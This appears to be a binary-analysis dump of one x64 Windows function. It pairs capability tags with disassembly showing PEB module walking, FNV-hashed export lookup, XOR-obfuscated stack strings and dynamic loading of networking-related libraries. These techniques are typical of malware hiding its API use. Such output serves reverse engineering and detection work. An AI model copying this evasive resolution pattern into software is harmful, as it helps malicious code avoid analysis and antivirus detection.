Function at 0x140052ab0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r13
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
mov rax, qword [0x140141480]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor r15d, r15d
mov dword [rbp - 0x59], 0x494c4f7d
mov eax, r15d
mov dword [rbp - 0x55], 0x4e484e4a
mov cl, 0x7d
mov dword [rbp - 0x51], 0x49454c
xor byte [rbp + rax - 0x58], cl
inc rax
cmp rax, 0xa
jae 0x140052b10
mov cl, byte [rbp - 0x59]
jmp 0x140052afe
lea rcx, [rbp - 0x58]
mov byte [rbp - 0x4e], r15b
call fcn.140058750
movsxd rcx, eax
mov dword [rbp - 0x59], 0x252c2415
mov word [rbp - 0x55], 0x2421
mov eax, dword [rcx]
mov cl, reloc.WS2_32.dll_setsockopt
mov dword [0x14014212c], eax
xor eax, eax
mov byte [rbp - 0x53], al
xor byte [rbp + rax - 0x58], cl
inc rax
cmp rax, 5
jae 0x140052b4e
mov cl, byte [rbp - 0x59]
jmp 0x140052b3c
lea rcx, [rbp - 0x58]
mov byte [rbp - 0x53], r15b
call fcn.140058750
cmp dword [0x14014212c], eax
jb 0x1400530af
mov rax, qword gs:[0x60]
or r13d, 0xffffffff
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r10, rbx
mov r8, qword [r10 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x140052bea
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x140052bea
mov esi, dword [r9 + 0x20]
add edx, r13d
mov r11d, 0x1d21e77e
lea rax, [rsi + rdx*4]
mov ecx, dword [rax + r8]
add rcx, r8
mov al, byte [rcx]
inc rcx
test al, al
je 0x140052be6
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rcx]
inc rcx
test al, al
jne 0x140052bc3
cmp r11d, 0xecbc3dc5
je 0x140052cd3
test edx, edx
jne 0x140052ba6
mov rax, qword [r10]
mov r10, rax
cmp rax, rbx
je 0x140052bfb
cmp qword [rax + 0x30], r15
jne 0x140052b82
mov r9, r15
movzx eax, word [0x1400d2d7e]
mov ecx, 2
xor ax, cx
mov dword [rbp - 0x29], 0x750002
mov word [rbp - 0x11], ax
movzx eax, word [0x1400d2d80]
xor ax, cx
mov dword [rbp - 0x25], 0x6c006b
mov word [rbp - 0xf], ax
movzx eax, word [0x1400d2d82]
xor ax, cx
mov dword [rbp - 0x21], 0x300031
mov word [rbp - 0xd], ax
movzx eax, word [0x1400d2d84]
xor ax, cx
mov dword [rbp - 0x1d], 0x2c0077
mov word [rbp - 0xb], ax
movzx eax, word [0x1400d2d86]
xor ax, cx
mov dword [rbp - 0x19], 0x6e0066
mov word [rbp - 9], ax
movzx eax, word [0x1400d2d88]
xor ax, cx
mov dword [rbp - 0x15], 0x2006e
mov word [rbp - 7], ax
movzx eax, word [0x1400d2d8a]
xor ax, cx
mov word [rbp - 5], ax
movzx eax, word [0x1400d2d8c]
xor ax, cx
mov word [rbp - 3], ax
movzx eax, word [0x1400d2d8e]
xor ax, cx
mov word [rbp - 1], ax
movzx eax, word [reloc.WLDAP32.dll_Ordinal_32]
xor ax, cx
mov word [rbp + 1], ax
xor eax, eax
mov word [rbp + 3], ax
xor word [rbp + rax*2 - 0x27], cx
inc rax
cmp rax, 0x15
jae 0x140052cf1
movzx ecx, word [rbp - 0x29]
jmp 0x140052cbf
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov r9d, dword [rcx + rdx*4]
add r9, r8
jmp 0x140052bfe
lea rcx, [rbp - 0x27]
mov word [rbp + 3], r15w
call r9
mov rbx, rax
test rax, rax
jne 0x140052ea6
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r10, rbx
mov r8, qword [r10 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x140052d87
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x140052d87
mov esi, dword [r9 + 0x20]
add edx, r13d
mov r11d, 0x9f1826c8
lea rax, [r8 + rdx*4]
mov ecx, dword [rax + rsi]
add rcx, r8
mov al, byte [rcx]
inc rcx
test al, al
je 0x140052d83
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rcx]
inc rcx
test al, al
jne 0x140052d60
cmp r11d, 0x3ef69a8
je 0x140052e70
test edx, edx
jne 0x140052d44
mov rax, qword [r10]
mov r10, rax
cmp rax, rbx
je 0x140052d98
cmp qword [rax + 0x30], r15
jne 0x140052d20
mov r9, r15
movzx eax, word [0x1400d2d7e]
mov ecx, 0x54
xor ax, cx
mov dword [rbp + 7], 0x230054
mov word [rbp + 0x1f], ax
movzx eax, word [0x1400d2d80]
xor ax, cx
mov dword [rbp + 0xb], 0x3a003d
mov word [rbp + 0x21], ax
movzx eax, word [0x1400d2d82]
xor ax, cx
mov dword [rbp + 0xf], 0x660067
mov word [rbp + 0x23], ax
movzx eax, word [0x1400d2d84]
xor ax, cx
mov dword [rbp + 0x13], 0x7a0021
mov word [rbp + 0x25], ax
movzx eax, word [0x1400d2d86]
xor ax, cx
mov dword [rbp + 0x17], 0x380030
mov word [rbp + 0x27], ax
movzx eax, word [0x1400d2d88]
xor ax, cx
mov dword [rbp + 0x1b], 0x540038
mov word [rbp + 0x29], ax
movzx eax, word [0x1400d2d8a]
xor ax, cx
mov word [rbp + 0x2b], ax
movzx eax, word [0x1400d2d8c]
xor ax, cx
mov word [rbp + 0x2d], ax
movzx eax, word [0x1400d2d8e]
xor ax, cx
mov word [rbp + 0x2f], ax
movzx eax, word [reloc.WLDAP32.dll_Ordinal_32]
xor ax, cx
mov word [rbp + 0x31], ax
xor eax, eax
mov word [rbp + 0x33], ax
xor word [rbp + rax*2 + 9], cx
inc rax
cmp rax, 0x15
jae 0x140052e8e
movzx ecx, word [rbp + 7]
jmp 0x140052e5c
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov r9d, dword [rcx + rdx*4]
add r9, r8
jmp 0x140052d9b
lea rcx, [rbp + 9]
mov word [rbp + 0x33], r15w
call r9
mov rbx, rax
test rax, rax
je 0x1400530af
xor eax, eax
mov dword [rbp - 0x59], 0x444d4574
mov byte [rbp - 0x53], al
mov cl, reloc.WS2_32.dll_WSACleanup
mov word [rbp - 0x55], 0x4540
xor byte [rbp + rax - 0x58], cl
inc rax
cmp rax, 5
jae 0x140052ecc
mov cl, byte [rbp - 0x59]
jmp 0x140052eba
lea rcx, [rbp - 0x58]
mov byte [rbp - 0x53], r15b
call fcn.140058750
cmp dword [0x14014212c], eax
jb 0x140053073
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r10, rdi
mov r8, qword [r10 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x140052f64
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x140052f64
mov r14d, dword [r9 + 0x20]
add edx, r13d
mov r11d, 0x8eb6fa9b
lea rax, [r8 + rdx*4]
mov ecx, dword [rax + r14]
add rcx, r8
mov al, byte [rcx]
inc rcx
test al, al
je 0x140052f60
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rcx]
inc rcx
test al, al
jne 0x140052f3d
cmp r11d, 0x688dd8af
je 0x140053077
test edx, edx
jne 0x140052f20
mov rax, qword [r10]
mov r10, rax
cmp rax, rdi
je 0x140052f75
cmp qword [rax + 0x30], r15
jne 0x140052efc
mov r9, r15
movdqa xmm0, xmmword [0x1400d3730]
xor eax, eax
movdqu xmmword [rbp - 0x49], xmm0
mov byte [rbp - 0x2f], al
mov rcx, r15
mov dword [rbp - 0x39], 0x4c68707b
mov dword [rbp - 0x35], 0x766b7e6b
mov word [rbp - 0x31], 0x7170
mov al, byte [rbp - 0x49]
xor byte [rbp + rcx - 0x48], al
inc rcx
cmp rcx, 0x19
jb 0x140052fa1
lea rdx, [rbp - 0x48]
mov byte [rbp - 0x2f], r15b
mov rcx, rbx
call r9
mov rbx, rax
test rax, rax
je 0x1400530af
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r10, rdi
mov r8, qword [r10 + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x140053046
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x140053046
mov r14d, dword [r9 + 0x20]
add edx, r13d
mov r11d, 0x4ad2701
lea rax, [r8 + rdx*4]
mov ecx, dword [rax + r14]
add rcx, r8
mov al, byte [rcx]
inc rcx
test al, al
je 0x140053042
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rcx]
inc rcx
test al, al
jne 0x140053023
cmp r11d, 0xe19cca70
je 0x140053095
test edx, edx
jne 0x140053006
mov rax, qword [r10]
mov r10, rax
cmp rax, rdi
je 0x140053057
cmp qword [rax + 0x30], r15
jne 0x140052fe2
mov rax, r15
xor r9d, r9d
xor edx, edx
xor ecx, ecx
lea r8d, [r9 + 1]
call rax
test rax, rax
je 0x1400530af
mov qword [0x140142120], rbx
mov al, 1
jmp 0x1400530b1
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov r9d, dword [rcx + rdx*4]
add r9, r8
jmp 0x140052f78
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
jmp 0x14005305a
xor al, al
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400c1f80
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r13, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret